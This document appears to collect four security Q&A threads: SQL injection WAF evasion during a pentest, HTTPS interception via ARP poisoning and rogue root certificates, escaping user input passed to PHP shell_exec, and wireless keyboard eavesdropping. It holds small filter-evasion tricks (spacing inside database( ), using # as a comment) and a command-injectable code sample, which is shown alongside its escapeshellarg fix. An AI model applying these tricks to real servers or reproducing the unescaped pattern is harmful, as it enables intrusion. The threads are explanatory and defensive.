bypass SQL injection waf The server I am pentesting has blind boolean SQL injection, so I was able to guess the DB name to be apps_community.
But it detects words like "information_schema" and drops the connection request.
It also detected the method database() but when introducing a space between (), like ( ), the WAF no longer blocked me.
It also detects -- . Because of that I had to use # for commenting the rest of the query.
I need to bypass this countermeasure to enumerate the tables.

It is impossible to answer your question, as you did not provide any additional details. There are known WAF bypass techniques, which work with certain firewalls. It also depends on the place in the query, where SQL injection occurs. Try to fingerprint your WAF.

Btw, the behavior you have described, looks like WAF reacts to the information_schema and other standard keywords in your request and drops the connection. What makes you think there is an actual SQL injection?


Is HTTPS able to prevent ARP poison attack in LAN? I simulate an ARP poison attack in my LAN network. In the network I have 4 devices: victim, attacker, router and a web server.

The victim try to log in the website on the web server and the attacker eavesdrop the channel between the victim and the router.

I could use this MiTM attack successfully when I used HTTP. I configured my apache webserver and it provide HTTPS, but I can still eavesdrop in the channel. The HTTPS padlock is red, of course because of the certificate, but it says that the connection uses TLS 1.2. So can anybody make it clear for me?

I would remind you a ARP poisoning attack works at layer 2 OSI, whilst HTTPS work at layer 5.

Or else, to better pose your problem, your doubt seems to be wether someone listening to the conversation or performing a MitM (man-in-the-middle) attack can compromise the security of an SSL conversation without the user noticing.

The ARP poisoning attack only alters the default route of outgoing packets, as the attack machines poisons the ARP tables of the victims to poses as the router.

SSL technologies complicate proxying it, but the feat is not impossible. In fact, some security products/corporate firewalls implement technology that basically are MitM attacks to be able to listen to HTTPS dialogues and detect malware.

For establishing a successful MitM attack / proxy to a session protected by X.509:

. the user has to be uneducated enough to accept a wrong certificate;
. or you have to fool the user browser the certificate is legitimate.

For that effect either you search for HASH collision in older protocols (i.e. that is way SHA-1 certificates are being phased out), or you install a root certificate of your own in the victim´s computer.

In a corporate setting, normally the AD propagates a root certificate for that effect. Some malware is known also for employing this techniques, and at least a hardware vendor and an AV company were grilled in the public opinion for doing this, the first to be able to insert adverts in your pages, the latter for scanning for viruses at OS level without using dedicated plug-ins for the browser.

Kazakhstan made it to a whole new level, and is doing MitM attacks at country level, via a mandatory root CA that has to be installed in any device using a national telecom connection:

http://thehackernews.com/2015/12/kazakhstan-internet-spying.html

http://www.theregister.co.uk/2015/12/03/kazakhstan_to_maninthemiddle_all_internet_traffic/

This particular technique generates a valid certificate on the fly for the HTTPS requests it intercepts which has as root the ROOT CA installed on the victim.

You have a slashdot thread talking about the technique here:
http://it.slashdot.org/story/14/03/05/1724237/ask-slashdot-does-your-employer-perform-https-mitm-attacks-on-employees

An article from Sophos explaining how the SuperFish attack works in Lenovo´s malware:

https://nakedsecurity.sophos.com/2015/02/20/the-lenovo-superfish-controversy-what-you-need-to-know/

You also can do it in a Unix system:

https://www.roe.ch/SSLsplit

  SSLsplit supports plain TCP, plain SSL, HTTP and HTTPS connections
  over both IPv4 and IPv6. For SSL and HTTPS connections, SSLsplit
  generates and signs forged X509v3 certificates on-the-fly, based on
  the original server certificate subject DN and subjectAltName
  extension.

So evidently whilst HTTPS is better than nothing, it is not perfect.
It is far more secure to use VPNs when using Internet in more hostile environments, and specially at wifi free hotspots.

As an interesting tidbit, law enforcement has mandatory interception stations in major ISPs, with software/interfaces that implement this MitM attacks and are able to inject corrupted executables/fake OS updates to take control of a victim computer, as documented by the administration/system/operators manuals that were leaked by Snowden or Assange (cant remember)

Link to article and leak of manuals in PDF format

https://theintercept.com/2014/10/30/hacking-team/

Also once and a while, you will see there will be a stink about registrars issuing known certificates like google.com by "mistake", "trainees tests" or because they are hacked. The controversy is that this further undermines the security and trust of SSL, and I would not be surprised wether some of that mistakes are for aiding their own security/intelligence/law enforcement forces to snoop on someone, for instance using google.


Way to properly escape user input which gets run by shell_exec() in PHP? I have the following script:

$user_input = $_POST['user_input'];
// If there is a way, I want to escape it here.
shell_exec("php some_file.php $user_input");

Is there a way to properly escape the user_input?

The function escapeshellarg safely quotes a value (including escaping quotes in the name, etc) so that it can be used as an argument in a command string passed to a shell.

$user_input = $_POST['user_input'];
shell_exec('php some_file.php '.escapeshellarg($user_input));


Are Apple Magic Keyboards Secure Against Man-in-the-Middle Attacks? Is Apple magic keyboard secure against man-in-the-middle attacks when it pairs to mac automatically? Recently I heard lots of wireless keyboards are vulnerable to eavesdropping. I don’t want my key strokes to be captured by drones.

Regardless of the specific keyboard model you asked, the range for wireless functionality is way less than what a drone could eavesdrop. You use the magic keyboard indoors, so there's no point in talking about drones.

Anyways, I recommend this Hacktivity presentation to get a closer glimpse about how wireless keyboard exploits work. https://www.youtube.com/watch?v=JPaiqJIMFCU